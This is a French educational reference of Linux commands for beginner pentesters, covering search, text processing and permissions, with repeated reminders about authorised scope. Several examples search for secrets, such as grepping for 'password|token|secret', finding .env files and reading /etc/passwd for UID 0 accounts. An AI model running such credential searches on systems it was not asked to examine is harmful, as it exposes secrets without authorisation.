Examiner les différences entre une configuration initiale et une configuration corrigée.

Bonnes pratiques

• Appuyer sur Échap avant une commande commençant par :.

• Rechercher avec /mot puis Entrée.

Erreurs fréquentes

• Saisir du texte en mode normal.

• Croire que -R est une barrière de sécurité : il peut être contourné dans l'éditeur.

touch

Description

Crée un fichier vide s’il manque, sinon actualise ses horodatages d’accès et de modification.

Syntaxe • Shell

```
touch [options] fichier...
```

Options les plus utiles

Option ou argument	Ce qu’il fait et quand l’utiliser
-c	Ne crée pas de fichier absent ; agit uniquement sur les fichiers qui existent déjà.
-a	Modifie uniquement la date d’accès.
-m	Modifie uniquement la date de modification.
-r FICHIER	Reprend les dates du fichier de référence. Réserver cette manipulation aux données de test, jamais aux preuves originales.
Sans option	Crée un fichier vide s’il manque ; s’il existe, actualise ses dates sans vider son contenu.

Exemple débutant • Shell

```
touch notes.txt
```

Exemple intermédiaire • Shell

```
touch notes.txt cibles.txt
```

Exemple avancé • Shell

```
touch -c notes.txt
```

Résultat attendu

Les fichiers absents sont créés ; -c évite toute création si le chemin n’existe pas.

Cas d’utilisation en pentest

Préparer des fichiers de notes et tester une chaîne de traitement dans son espace de travail.

Bonnes pratiques

• Réserver touch aux fichiers de travail.
• Documenter les modifications de métadonnées.

Erreurs fréquentes

• Croire que touch vide un fichier existant.
• L’utiliser sur une preuve originale : ses dates seraient altérées.

NIVEAU 1 • DÉBUTANT CYBERSÉCURITÉ

2 Navigation et recherche

Objectif

Trouver un fichier, une ligne ou un motif puis transformer les résultats sans altérer les sources.

Explication simple

La recherche de noms et la recherche de contenu sont différentes. find explore les chemins ; grep lit le texte. Les expressions régulières décrivent des motifs. Une recherche sans résultat peut venir du mauvais point de départ, de la casse, de permissions ou d’un index périmé.

Difficulté du parcours : niveau 1. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

find, locate, which, whereis et grep.

Commandes avancées

awk, sed, sort, uniq, cut et xargs ; noms de fichiers séparés par un caractère nul.

Cas d’utilisation réels et transposables

Sur une machine de laboratoire, retrouver question3.txt depuis /etc ; dans un projet autorisé, repérer les fichiers .env et les sauvegardes .bak ; dans des journaux, compter les adresses observées.

Repères pour comprendre

Exemple guidé : cd /etc puis find . -type f -name "question3.txt" donne ./sous-dossier/question3.txt, relatif à /etc. find /etc -type f -name "question3.txt" donne un chemin absolu. Utiliser -iname si la casse est inconnue. Ne pas ajouter sudo avant d’avoir vérifié le périmètre et les droits accordés.

Conseil Définir une racine précise ; commencer par les noms ; relever les refus d’accès ; ne pas recopier les valeurs secrètes dans les notes.

Attention Chercher seulement dans le dossier courant ; masquer systématiquement les erreurs ; traiter les espaces comme séparateurs de fichiers.

SECTION 02 • NAVIGATION ET RECHERCHE | NIVEAU 1

find

Description

Explore une arborescence et sélectionne les fichiers selon leur nom, type, date ou permissions.

Syntaxe • Shell

```
find racine [tests] [actions]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-type f / -type d	Limite la recherche aux fichiers ordinaires / dossiers.
-name / -iname MOTIF	Cherche un nom ; -iname ignore la casse. Citer le motif, par exemple -name "*.txt".
-maxdepth N	Ne descend pas au-delà de N niveaux depuis la racine choisie ; -maxdepth 1 reste dans ce dossier.
-readable / -writable	Retient les éléments lisibles / modifiables selon le compte courant ; les autres contrôles du système comptent aussi.
\(… -o … \)	Groupe deux possibilités reliées par « ou » ; les antislashs empêchent Bash d'interpréter les parenthèses.
-exec COMMANDE {} +	Exécute une commande sur les chemins trouvés, regroupés en lots ; {} représente ces chemins.
-print0	Sépare les chemins par un caractère nul ; à associer à xargs -0 pour respecter les noms complexes.
-delete	Supprime les éléments sélectionnés. Examiner d'abord la même sélection avec -print.

Exemple débutant • Shell

```
find . -type f -name "question3.txt"
```

Exemple intermédiaire • Shell

```
find ~/lab -type f \( -name ".env" -o -name "*.bak" \)
```

Exemple avancé • Shell

```
find /etc -type f -name "*.conf" -readable \
  -exec grep -Il "password" {} +
```

Résultat attendu

Les chemins correspondants apparaissent ; -exec lance grep sur les fichiers lisibles et ne renvoie que leurs noms.

Cas d'utilisation en pentest

Repérer des configurations potentiellement sensibles sans afficher immédiatement leurs secrets.

Bonnes pratiques

• Mettre les motifs entre guillemets.

• Prévisualiser avec -print avant une action destructive.

Erreurs fréquentes

• Oublier de grouper les alternatives -o.

• Confondre -perm -4000, bit présent, et -perm 4000, mode exact.

SECTION 02 • NAVIGATION ET RECHERCHE | NIVEAU 1

locate

Description

Recherche des chemins dans un index préparé à l’avance. La version courante peut être fournie par plocate.

Syntaxe • Shell

```
locate [options] motif
```

Options les plus utiles

Option ou argument	Ce qu’il fait et quand l’utiliser
-i	Ignore les différences entre majuscules et minuscules.
-e	Ne montre que les chemins indexés qui existent encore ; ne découvre pas les nouveaux fichiers absents de l’index.
-l N	Arrête l’affichage après N résultats : -l 20 facilite un premier examen.
-b	Applique le motif au nom final plutôt qu’au chemin complet, selon la variante installée.
"*.conf"	Motif de recherche à garder entre guillemets ; l’index peut être périmé.

Exemple débutant • Shell

```
locate question3.txt
```

Exemple intermédiaire • Shell

```
locate -i "*.conf"
```

Exemple avancé • Shell

```
locate -e -l 20 "*.bak"
```

Résultat attendu

Les chemins indexés sont listés ; -e vérifie leur existence ; -l limite le nombre de résultats.

Cas d’utilisation en pentest

Retrouver rapidement une configuration sur son poste d’audit.

Bonnes pratiques

• Vérifier les résultats avec ls ou stat.

• Actualiser l’index avec updatedb seulement si autorisé.

Erreurs fréquentes

• Croire que l’index reflète immédiatement les changements.

• Interpréter une absence comme une preuve que le fichier n’existe pas.

which

Description

Recherche un exécutable dans PATH, la liste des dossiers où le shell cherche les programmes.

Syntaxe • Shell

```
which [options] programme
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-a	Affiche toutes les correspondances trouvées dans PATH, au lieu de s'arrêter à la première.
Sans option	Affiche normalement le premier exécutable trouvé ; cela ne décrit pas toujours les alias ou fonctions du shell.
command -v NOM	Alternative intégrée au shell pour savoir comment un nom sera résolu ; utile dans un script.
type -a NOM	Dans Bash, montre aussi les alias, fonctions et autres résolutions possibles.

Exemple débutant • Shell

```
which nmap
```

Exemple intermédiaire • Shell

```
which -a python3
```

Exemple avancé • Shell

```
command -v nmap
type -a nmap
```

Résultat attendu

Les chemins candidats apparaissent. command et type, intégrés au shell, aident aussi à distinguer alias et fonctions.

Cas d'utilisation en pentest

Vérifier qu'un outil lancé correspond à l'installation attendue.

Bonnes pratiques

• Contrôler les doublons et l'ordre de PATH.

• Utiliser command -v dans les scripts portables.

Erreurs fréquentes

• Prendre which pour une détection complète de tout ce que le shell exécute.

• Ajouter le dossier courant au début de PATH.

SECTION 02 • NAVIGATION ET RECHERCHE | NIVEAU 1

whereis

Description

Recherche les emplacements connus du programme, de son manuel et parfois de ses sources.

Syntaxe • Shell

```
whereis [options] programme
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-b	Recherche uniquement les exécutables, sans les manuels ni les sources.
-m	Recherche uniquement les pages de manuel.
-s	Recherche les sources dans les emplacements connus ; ce n'est pas une exploration exhaustive du disque.
Sans option	Recherche plusieurs catégories d'emplacements connus pour le nom indiqué.

Exemple débutant • Shell

```
whereis ssh
```

Exemple intermédiaire • Shell

```
whereis -b nmap
```

Exemple avancé • Shell

```
whereis -m bash
```

Résultat attendu

Les chemins sont regroupés après le nom du programme ; -b sélectionne les binaires et -m les manuels.

Cas d'utilisation en pentest

Localiser la documentation installée avant de tester des options.

Bonnes pratiques

• Utiliser ensuite man nom pour lire le manuel.

• Vérifier avec command -v ce qui sera réellement lancé.

Erreurs fréquentes

• Croire que tous les fichiers du disque sont recherchés.

• Confondre présence d'un binaire et disponibilité dans PATH.

grep

Description

Sélectionne les lignes qui correspondent à un motif. -F cherche une chaîne littérale ; -E utilise des expressions régulières étendues.

Syntaxe • Shell

```
grep [options] motif [fichier...]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-n	Ajoute le numéro de ligne à chaque correspondance.
-i	Ignore la casse : error peut aussi correspondre à ERROR.
-r / -R	Cherche dans une arborescence ; -R suit davantage les liens symboliques et peut étendre le périmètre.
-F / -E	-F traite le motif comme du texte littéral ; -E active les expressions régulières étendues.
-l / -I	-l affiche seulement les noms des fichiers correspondants ; -I ignore les fichiers considérés comme binaires.
--include=MOTIF	Limite les fichiers examinés, par exemple --include="*.conf".
-v / -o	-v sélectionne les lignes sans correspondance ; -o affiche seulement les portions qui correspondent.
-A N / -B N / -C N	Ajoute N lignes après / avant / autour d'une correspondance ; utile pour conserver son contexte.

Exemple débutant • Shell

```
grep -n "error" application.log
```

Exemple intermédiaire • Shell

```
grep -RIlE "password|token|secret" ~/lab/projet
```

Exemple avancé • Shell

```
grep -RInF --include="*.conf" \
  -- "PermitRootLogin" ~/lab/configs
```

Résultat attendu

Les lignes ou les seuls noms de fichiers sont affichés ; -I ignore les fichiers traités comme binaires.

Cas d'utilisation en pentest

Repérer des configurations exposant des secrets ou une connexion administrateur trop permissive.

Bonnes pratiques

• Préférer -l avant de consulter un contenu sensible.

• Utiliser -F pour une chaîne contenant des points littéraux.

Erreurs fréquentes

• Oublier les guillemets.

• Confondre aucun résultat, code 1, et erreur, généralement code 2.

SECTION 02 • NAVIGATION ET RECHERCHE | NIVEAU 2

egrep et grep -E

Description

egrep est une ancienne forme de grep -E. La forme grep -E est à privilégier dans les nouvelles commandes.

Syntaxe • Shell

```
grep -E [options] expression fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-E	Active les expressions régulières étendues : alternatives, groupes et quantificateurs. Préférer grep -E à l'ancien nom egrep.
-i	Rend la recherche insensible à la casse.
-n	Affiche les numéros de ligne pour retrouver les observations dans le fichier.
-o	N'affiche que les portions reconnues, et non toute la ligne ; utile pour extraire des valeurs.
-v	Inverse la sélection pour garder les lignes qui ne correspondent pas.
Motif entre quotes	Protège les symboles du motif contre l'interprétation de Bash ; les alternatives restent à l'intérieur du motif.

Exemple débutant • Shell

```
grep -E "error|warning" application.log
```

Exemple intermédiaire • Shell

```
grep -Ein "fail(ed|ure)?" application.log
```

Exemple avancé • Shell

```
grep -Eo "([0-9]{1,3}\.){3}[0-9]{1,3}" acces.log \
  | sort -u
```

Résultat attendu

Les alternatives et groupes sont reconnus. Le dernier motif extrait des formes d'adresses, sans vérifier qu'elles sont valides.

Cas d'utilisation en pentest

Filtrer plusieurs types d'événements dans un même journal.

Bonnes pratiques

• Documenter les faux positifs du motif.

• Employer grep -E même si egrep fonctionne encore.

Erreurs fréquentes

• Supposer que le motif valide chaque octet d'une adresse.

• Confondre | dans le motif et un pipeline du shell.

SECTION 02 • NAVIGATION ET RECHERCHE | NIVEAU 2

awk

Description

Traite un texte ligne par ligne et manipule ses champs. Par défaut, les espaces séparent les champs.

Syntaxe • Shell

```
awk [options] 'programme' fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-F SEPARATEUR	Fixe le séparateur de champs : -F: convient à /etc/passwd.
-v nom=valeur	Fournit une variable au programme awk sans construire son texte par concaténation.
{print $1}	Affiche le premier champ ; $0 représente toute la ligne. Ce sont des expressions awk, pas des options.
$3 == 0	Garde les lignes dont le troisième champ vaut zéro ; un test peut précéder l'action entre accolades.
NR / NF	Variables donnant le numéro de ligne lu / le nombre de champs de la ligne.

Exemple débutant • Shell

```
awk '{print $1}' acces.log
```

Exemple intermédiaire • Shell

```
awk -F: '{print $1, $3}' /etc/passwd
```

Exemple avancé • Shell

```
awk -F: '$3 == 0 {print $1}' /etc/passwd
```

Résultat attendu

Le premier champ, les noms et identifiants, puis les comptes d'identifiant zéro sont affichés selon l'exemple.

Cas d'utilisation en pentest

Repérer des comptes équivalents à root ; /etc/passwd contient les métadonnées des comptes, pas normalement leurs mots de passe.

Bonnes pratiques

• Placer le programme entre apostrophes pour protéger les $.

• Choisir explicitement le séparateur.

Erreurs fréquentes

• Lire un journal avec des positions de champs incorrectes.

• Utiliser -F, sur un CSV complexe contenant des virgules entre guillemets.

SECTION 02 • NAVIGATION ET RECHERCHE | NIVEAU 2

sed

Description

Filtre ou transforme du texte. Sans -i, la source reste intacte et le résultat est envoyé vers la sortie.

Syntaxe • Shell

```
sed [options] 'expression' fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-n	Supprime l'affichage automatique ; associer à p pour imprimer seulement les lignes sélectionnées.
-E	Active les expressions régulières étendues ; évite certains antislashs dans les groupes.
-e EXPRESSION	Ajoute un traitement ; répéter -e permet d'enchaîner plusieurs transformations.
s/ancien/nouveau/g	Remplace toutes les occurrences sur chaque ligne ; sans g, seule la première de chaque ligne est remplacée.
-i.bak	Modifie le fichier sur place en gardant une copie .bak avec GNU sed ; à éviter sur les preuves originales.
1,20p	Sélectionne et imprime les lignes 1 à 20, généralement avec -n ; ce n'est pas une option de lancement.

Exemple débutant • Shell

```
sed -n '1,20p' config.ini
```

Exemple intermédiaire • Shell

```
sed 's/ancien/nouveau/g' notes.txt > notes-v2.txt
```

Exemple avancé • Shell

```
sed -E 's/(token=)[^ ]+/\1[MASQUE]/g' \
  application.log > journal-partage.txt
```

Résultat attendu

Une plage est affichée ou les correspondances sont remplacées. Le masquage proposé ne couvre que le format token= sans espace.

Cas d'utilisation en pentest

Préparer un extrait de journal expurgé avant de le partager.

Bonnes pratiques

• Contrôler visuellement le résultat.

• Éviter -i sur les preuves originales.

Erreurs fréquentes

• Croire qu'un motif simple anonymise tous les secrets.

• Rediriger vers le même fichier que celui lu.

SECTION 02 • NAVIGATION ET RECHERCHE | NIVEAU 1

sort

Description

Trie les lignes ; le résultat dépend de la langue et des règles de classement du système.

Syntaxe • Shell

```
sort [options] fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-n	Compare les nombres plutôt que les caractères : 2 précède alors 10.
-r	Inverse le tri ; -nr classe les nombres du plus grand au plus petit.
-u	Ne garde qu'une ligne par valeur de tri identique ; avec des clés, des lignes différentes peuvent être regroupées.
-t SEPARATEUR	Définit le séparateur de champs, par exemple -t, pour un tableau simple séparé par des virgules.
-k DEBUT,FIN	Choisit la clé de tri : -k2,2n trie numériquement sur le seul deuxième champ.
LC_ALL=C	Réglage placé avant sort pour stabiliser le classement ; c'est une variable d'environnement, pas une option.

Exemple débutant • Shell

```
sort cibles.txt
```

Exemple intermédiaire • Shell

```
sort -nu ports.txt
```

Exemple avancé • Shell

```
LC_ALL=C sort -t, -k2,2n inventaire-simple.csv
```

Résultat attendu

Les lignes sont triées ; -n compare numériquement ; -u enlève les doublons ; -k choisit une clé.

Cas d'utilisation en pentest

Ordonner des ports ou stabiliser une liste de cibles avant comparaison.

Bonnes pratiques

• Choisir un tri numérique pour des nombres.

• Fixer LC_ALL=C dans un traitement reproductible.

Erreurs fréquentes

• Attendre un tri numérique sans -n.

• Traiter un CSV avec champs cités comme un simple texte séparé par virgules.

SECTION 02 • NAVIGATION ET RECHERCHE | NIVEAU 1

uniq

Description

Regroupe les lignes identiques adjacentes. Le tri préalable est souvent nécessaire.

Syntaxe • Shell

```
uniq [options] [fichier]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-c	Affiche le nombre de répétitions de chaque groupe de lignes identiques adjacentes.
-d	Affiche uniquement les groupes répétés, une fois chacun.
-u	Affiche uniquement les lignes qui n'ont pas de répétition adjacente.
-i	Ignore la casse lors de la comparaison.
Tri préalable	sort fichier puis uniq regroupe les doublons dispersés. Sans tri, uniq ne compare que les lignes voisines.

Exemple débutant • Shell

```
uniq liste-triee.txt
```

Exemple intermédiaire • Shell

```
sort cibles.txt | uniq -c
```

Exemple avancé • Shell

```
sort acces-ip.txt | uniq -c | sort -nr
```

Résultat attendu

-c affiche les occurrences ; le dernier pipeline présente les adresses les plus fréquentes en premier.

Cas d'utilisation en pentest

Repérer une source anormalement présente dans un journal d'accès.

Bonnes pratiques

• Trier d'abord si les doublons sont dispersés.

• Garder les journaux bruts avec leurs horaires.

Erreurs fréquentes

• Croire que uniq supprime les doublons non adjacents.

• Assimiler fréquence élevée et attaque confirmée.

SECTION 02 • NAVIGATION ET RECHERCHE | NIVEAU 1

cut

Description

Extrait des colonnes délimitées ou des positions. Convient aux formats simples et réguliers.

Syntaxe • Shell

```
cut -d separateur -f champs fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-d SEPARATEUR	Choisit le caractère séparateur ; sans cette option, le séparateur de champs est une tabulation.
-f LISTE	Extrait les champs indiqués : -f1,3,7 ou -f1-3. S'utilise avec -d si nécessaire.
-c LISTE	Extrait des positions de caractères ; le traitement des caractères multioctets dépend de l'implémentation.
-s	Ignore les lignes qui ne contiennent pas le séparateur ; évite qu'elles ressortent entières.
--complement	Avec GNU cut, extrait tout sauf les champs ou positions sélectionnés.

Exemple débutant • Shell

```
cut -d: -f1 /etc/passwd
```

Exemple intermédiaire • Shell

```
cut -d: -f1,3,7 /etc/passwd
```

Exemple avancé • Shell

```
cut -d, -f2 inventaire-simple.csv | sort -u
```

Résultat attendu

Les noms de comptes ou les champs sélectionnés sont affichés.

Cas d'utilisation en pentest

Préparer une liste de comptes et de shells pour une revue des accès.

Bonnes pratiques

• Vérifier le séparateur et la présence d'un en-tête.

• Employer un vrai lecteur CSV pour les données avec guillemets.

Erreurs fréquentes

• Utiliser cut -d " " sur des espaces multiples.

• Confondre une colonne visible avec un champ du format.

xargs

Description

Construit des appels à une commande à partir de son entrée. Le mode -0 respecte les noms de fichiers contenant des espaces ou des retours à la ligne.

Syntaxe • Shell

```
xargs [options] commande [arguments]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-0	Lit des éléments séparés par un caractère nul ; utiliser avec find -print0 pour les noms contenant des espaces.
-r	Ne lance rien lorsque l'entrée est vide, avec GNU xargs.
-n N	Fournit au plus N éléments à chaque appel : -n 1 traite un chemin à la fois.
-P N	Autorise jusqu'à N appels simultanés ; augmente la charge et peut mélanger l'ordre des sorties.
-t	Affiche la commande construite avant son exécution ; utile pour comprendre le traitement.
-p	Demande confirmation avant chaque appel ; utile pour vérifier une action manuelle.

Exemple débutant • Shell

```
printf "%s\n" un deux | xargs printf "<%s>\n"
```

Exemple intermédiaire • Shell

```
find ~/lab -name "*.txt" -print0 | xargs -0 -r wc -l
```

Exemple avancé • Shell

```
find ~/lab -type f -print0 \
  | xargs -0 -r -P 2 -n 1 sha256sum
```

Résultat attendu

La commande est appelée sur les éléments reçus ; -r évite un appel sans entrée ; -P limite les traitements parallèles.

Cas d'utilisation en pentest

Calculer les empreintes de nombreux fichiers de preuve.

Bonnes pratiques

• Associer -print0 et -0.

• Garder un parallélisme faible sur les supports lents.

Erreurs fréquentes

• Utiliser xargs rm sans prévisualisation.

• Supposer un ordre stable des résultats avec -P.

NIVEAU 1 • DÉBUTANT CYBERSÉCURITÉ

3 Gestion des permissions

Objectif

Lire et corriger les droits d’accès en comprenant les effets des permissions spéciales.

Explication simple

Les trois groupes de droits sont propriétaire, groupe et autres. r vaut 4, w vaut 2, x vaut 1 : 640 signifie lecture et écriture pour le propriétaire, lecture pour le groupe, aucun droit pour les autres. Sur un dossier, r liste les noms, x permet la traversée et w permet de créer ou supprimer des entrées, généralement avec x.

Difficulté du parcours : niveau 1. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

chmod, chown, chgrp et umask.

Commandes avancées

getfacl et setfacl pour les listes de contrôle d’accès ; analyse des bits spéciaux.

Cas d’utilisation réels et transposables

Une clé privée lisible par tous expose un accès. Un script exécuté par root mais modifiable par un utilisateur permet potentiellement une exécution privilégiée. Un dossier partagé sans contrôle facilite le remplacement de fichiers.

Repères pour comprendre

SUID (Set User ID, identifiant utilisateur effectif) : bit 4000 ; un exécutable peut adopter l’identité de son propriétaire. SGID (Set Group ID, identifiant de groupe effectif) : bit 2000 ; effet de groupe sur un exécutable, héritage du groupe sur un dossier. Sticky Bit : bit 1000 ; dans un dossier partagé, restreint la suppression ou le renommage aux propriétaires concernés et aux comptes privilégiés. /tmp est souvent en 1777. Un SUID n’est pas une faille à lui seul ; les montages nosuid, les capacités et le comportement du programme comptent. Linux ignore normalement SUID sur les scripts interprétés. ACL signifie Access Control List, liste de contrôle d’accès.

Conseil Comparer propriétaire, groupe, droits du fichier et de ses parents ; garder une copie des droits avant changement ; appliquer le moindre privilège.

Attention Utiliser chmod 777 pour résoudre un problème ; rendre récursivement tous les fichiers exécutables ; ignorer le masque d’une liste de contrôle d’accès.

SECTION 03 • GESTION DES PERMISSIONS | NIVEAU 1

chmod

Description

Change les permissions par notation symbolique ou octale. Le propriétaire ou un administrateur peut agir.

Syntaxe • Shell

```
chmod [options] mode chemin
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
MODE numérique	600 signifie lecture/écriture pour le propriétaire uniquement ; chaque chiffre décrit un groupe de droits.
MODE symbolique	u+x ajoute l'exécution au propriétaire ; g-w retire l'écriture au groupe ; o= retire tous les droits aux autres.
X majuscule	Ajoute l'exécution aux dossiers et aux fichiers déjà exécutables ; utile dans une correction récursive.
-R	Applique le changement à toute l'arborescence ; vérifier la portée avant de l'utiliser.
--reference=FICHIER	Reprend les permissions d'un fichier modèle ; vérifier que ce modèle est approprié.
-v / -c	-v décrit les traitements ; -c n'affiche que les changements effectifs.

Exemple débutant • Shell

```
chmod 600 cle-lab
```

Exemple intermédiaire • Shell

```
chmod u+x script.sh
```

Exemple avancé • Shell

```
chmod -R u=rwX,g=rX,o= dossier-partage/
```

Résultat attendu

600 réserve lecture et écriture au propriétaire. X ajoute la traversée aux dossiers et conserve l'exécution déjà présente.

Cas d'utilisation en pentest

Retirer des droits excessifs sur une configuration et préparer un dossier lisible par un groupe d'audit.

Bonnes pratiques

• Vérifier les droits avec ls -l et getfacl.

• Examiner les liens et la portée avant -R.

Erreurs fréquentes

• Appliquer 777 ou 755 à tous les fichiers.

• Retirer x à un dossier puis ne plus pouvoir le traverser.

SECTION 03 • GESTION DES PERMISSIONS | NIVEAU 1

chown

Description

Change le propriétaire, et éventuellement le groupe, d’un fichier. Changer de propriétaire demande généralement des privilèges.

Syntaxe • Shell

```
chown [options] utilisateur[:groupe] chemin
```

Options les plus utiles

Option ou argument	Ce qu’il fait et quand l’utiliser
UTILISATEUR:GROUPE	Change le propriétaire et le groupe dans la même commande ; les identités doivent exister.
-R	Applique le changement aux descendants ; peut modifier bien plus que le chemin initial.
--from=U:G	Filtre sur le propriétaire U et le groupe G actuels ; par exemple --from=root:root.
--reference=FICHIER	Reprend le propriétaire et le groupe d’un fichier de référence.
-h	Agit sur un lien symbolique lui-même plutôt que sur sa cible, lorsque le système le permet.
-v	Affiche le traitement des fichiers pour contrôler la portée.

Exemple débutant • Shell

```
ls -l notes.txt
```

Exemple intermédiaire • Shell

```
sudo chown analyste:analyste notes.txt
```

Exemple avancé • Shell

```
sudo chown --from=root:root analyste:analyste notes.txt
```

Résultat attendu

Le premier exemple inspecte ; les suivants modifient l’identité propriétaire, le dernier seulement si l’état initial correspond.

Cas d’utilisation en pentest

Corriger un fichier de travail créé par erreur avec sudo.

Bonnes pratiques

• Vérifier que le compte analyste existe.

• Restreindre l’action à un chemin précis.

Erreurs fréquentes

• Modifier récursivement /etc ou /usr.

• Oublier qu’un changement peut retirer certains bits spéciaux ou capacités.

chgrp

Description

Change le groupe propriétaire. Un utilisateur peut généralement attribuer un fichier lui appartenant à un groupe dont il est membre.

Syntaxe • Shell

```
chgrp [options] groupe chemin
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
GROUPE	Nom ou identifiant du groupe à attribuer ; c'est un argument obligatoire, pas une option.
-R	Modifie le groupe dans l'arborescence entière ; contrôler la racine choisie.
--reference=FICHIER	Copie le groupe du fichier modèle vers la cible.
-h	Change le groupe du lien symbolique lui-même plutôt que celui de sa cible, si pris en charge.
-v	Affiche les fichiers traités ; facilite une vérification manuelle.

Exemple débutant • Shell

```
chgrp analyste notes.txt
```

Exemple intermédiaire • Shell

```
chgrp -R analyste preuves/
```

Exemple avancé • Shell

```
chgrp --reference=modele.txt notes.txt
```

Résultat attendu

Les fichiers prennent le groupe demandé ou celui du fichier de référence.

Cas d'utilisation en pentest

Partager un dossier de résultats avec un groupe d'auditeurs autorisés.

Bonnes pratiques

• Vérifier l'appartenance au groupe.

• Contrôler aussi les permissions du dossier parent.

Erreurs fréquentes

• Croire que changer de groupe ajoute automatiquement le droit de lecture.

• Appliquer -R sur une arborescence mal identifiée.

SECTION 03 • GESTION DES PERMISSIONS | NIVEAU 2

umask

Description

Définit les permissions à retirer lors des créations futures. Le masque ne modifie pas les fichiers existants.

Syntaxe • Shell

```
umask [mode]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
Sans argument	Affiche le masque courant sous forme octale.
077	Retire tous les droits de groupe et des autres lors des créations ordinaires ; ne modifie pas les fichiers existants.
027	Retire l'écriture au groupe et tous les droits aux autres ; utile pour un partage limité en lecture.
-S	Affiche le résultat du masque en notation symbolique, plus facile à rapprocher des droits rwx.
(umask …; …)	Limite le changement à un sous-shell entre parenthèses ; le masque du shell parent reste inchangé.

Exemple débutant • Shell

```
umask
```

Exemple intermédiaire • Shell

```
umask 077
```

Exemple avancé • Shell

```
(umask 077; mkdir -p session-privee; touch session-privee/notes)
```

Résultat attendu

Avec 077, une création ordinaire donne souvent 600 pour un fichier et 700 pour un dossier, selon le mode demandé et les ACL.

Cas d'utilisation en pentest

Protéger par défaut les notes et résultats sensibles d'une session.

Bonnes pratiques

• Définir le masque avant les créations.

• Utiliser une sous-session entre parenthèses pour limiter sa portée.

Erreurs fréquentes

• Calculer le masque comme une simple soustraction dans tous les cas.

• Croire que umask 077 protège les fichiers déjà présents.

SECTION 03 • GESTION DES PERMISSIONS | NIVEAU 2

getfacl

Description

Affiche les droits classiques et les ACL, qui peuvent accorder un accès à des utilisateurs ou groupes supplémentaires.

Syntaxe • Shell

```
getfacl [options] chemin
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-p	Conserve les chemins absolus dans la sortie ; utile pour un relevé destiné à une restauration contrôlée.
-R	Parcourt récursivement les dossiers pour relever leurs ACL et celles de leurs fichiers.
-n	Affiche les identifiants numériques des utilisateurs et groupes plutôt que leurs noms.
-e	Affiche les commentaires sur les droits effectifs, même lorsque le masque ne les réduit pas.
Sans option	Affiche l'ACL du chemin demandé, y compris le masque et les éventuelles entrées par défaut.

Exemple débutant • Shell

```
getfacl notes.txt
```

Exemple intermédiaire • Shell

```
getfacl -p dossier-partage
```

Exemple avancé • Shell

```
getfacl -R -p dossier-partage > droits.acl
```

Résultat attendu

Les entrées user, group, mask et other sont affichées ; -R exporte l'arborescence.

Cas d'utilisation en pentest

Expliquer pourquoi un compte peut lire un fichier malgré des droits apparents restrictifs.

Bonnes pratiques

• Lire les droits effective et le masque.

• Protéger l'export : il révèle des identités et des chemins.

Erreurs fréquentes

• Examiner uniquement ls -l.

• Confondre ACL par défaut du dossier et droits des fichiers déjà présents.

SECTION 03 • GESTION DES PERMISSIONS | NIVEAU 2

setfacl

Description

Modifie des ACL. Le masque limite les droits effectifs des utilisateurs nommés et groupes concernés.

Syntaxe • Shell

```
setfacl [options] chemin
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-m ENTREE	Ajoute ou modifie une entrée : -m u:auditeur:r-- accorde la lecture au compte auditeur.
-x ENTREE	Retire une entrée précise, par exemple -x u:auditeur, sans effacer toutes les autres ACL.
d: en préfixe	Définit une ACL par défaut d'un dossier pour ses futurs enfants ; ne change pas les enfants existants.
-R	Applique l'opération récursivement ; vérifier ses effets sur les fichiers et les dossiers.
--restore=FICHIER	Restaure un relevé produit par getfacl ; peut aussi rétablir propriétaires et bits spéciaux si les droits le permettent.
-b	Retire les entrées étendues de l'ACL ; peut supprimer des accès utiles, donc ne pas l'utiliser comme nettoyage automatique.

Exemple débutant • Shell

```
setfacl -m u:auditeur:r-- notes.txt
```

Exemple intermédiaire • Shell

```
setfacl -m u:auditeur:r-x dossier-partage
```

Exemple avancé • Shell

```
setfacl -m d:u:auditeur:r-x dossier-partage
```

Résultat attendu

Le compte auditeur, qui doit exister, reçoit l'accès demandé. d: définit une ACL héritée lors de créations futures.

Cas d'utilisation en pentest

Accorder une lecture ciblée sans ouvrir les résultats à tous les utilisateurs.

Bonnes pratiques

• Vérifier avec getfacl après modification.

• Exporter les ACL avant changement ; restaurer avec setfacl --restore=droits.acl si approprié.

Erreurs fréquentes

• Oublier les droits de traversée des parents.

• Croire qu'une ACL par défaut modifie les enfants existants.

• Utiliser -b sans mesurer les accès supprimés.

NIVEAU 1 • DÉBUTANT CYBERSÉCURITÉ

4 Gestion des processus

Objectif

Identifier les programmes actifs, leurs propriétaires et les services démarrés.

Explication simple

Un processus est une instance de programme. Son PID (Process Identifier) est son numéro. Un service fonctionne généralement en arrière-plan. Un travail du shell, désigné par %1 par exemple, appartient à la session courante et ne se confond pas avec un PID.

Difficulté du parcours : niveau 1. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

ps, top, htop, jobs, bg et fg.

Commandes avancées

Arrêt ciblé avec kill ; observation des unités systemd ; sorties durables avec nohup.

Cas d’utilisation réels et transposables

Un serveur local écoute sur 127.0.0.1:8080. Relever son PID avec ss, lire ps -fp PID puis systemctl status du service. Relever l’exécutable, le propriétaire et la configuration sans conclure qu’un service root est vulnérable.

Repères pour comprendre

SIGTERM (signal de terminaison) demande un arrêt propre. SIGKILL impose l’arrêt sans nettoyage possible. CPU signifie Central Processing Unit, processeur. Un pourcentage élevé indique une consommation, pas nécessairement un comportement malveillant. systemctl suppose que systemd gère effectivement la machine ; un conteneur peut fonctionner autrement.
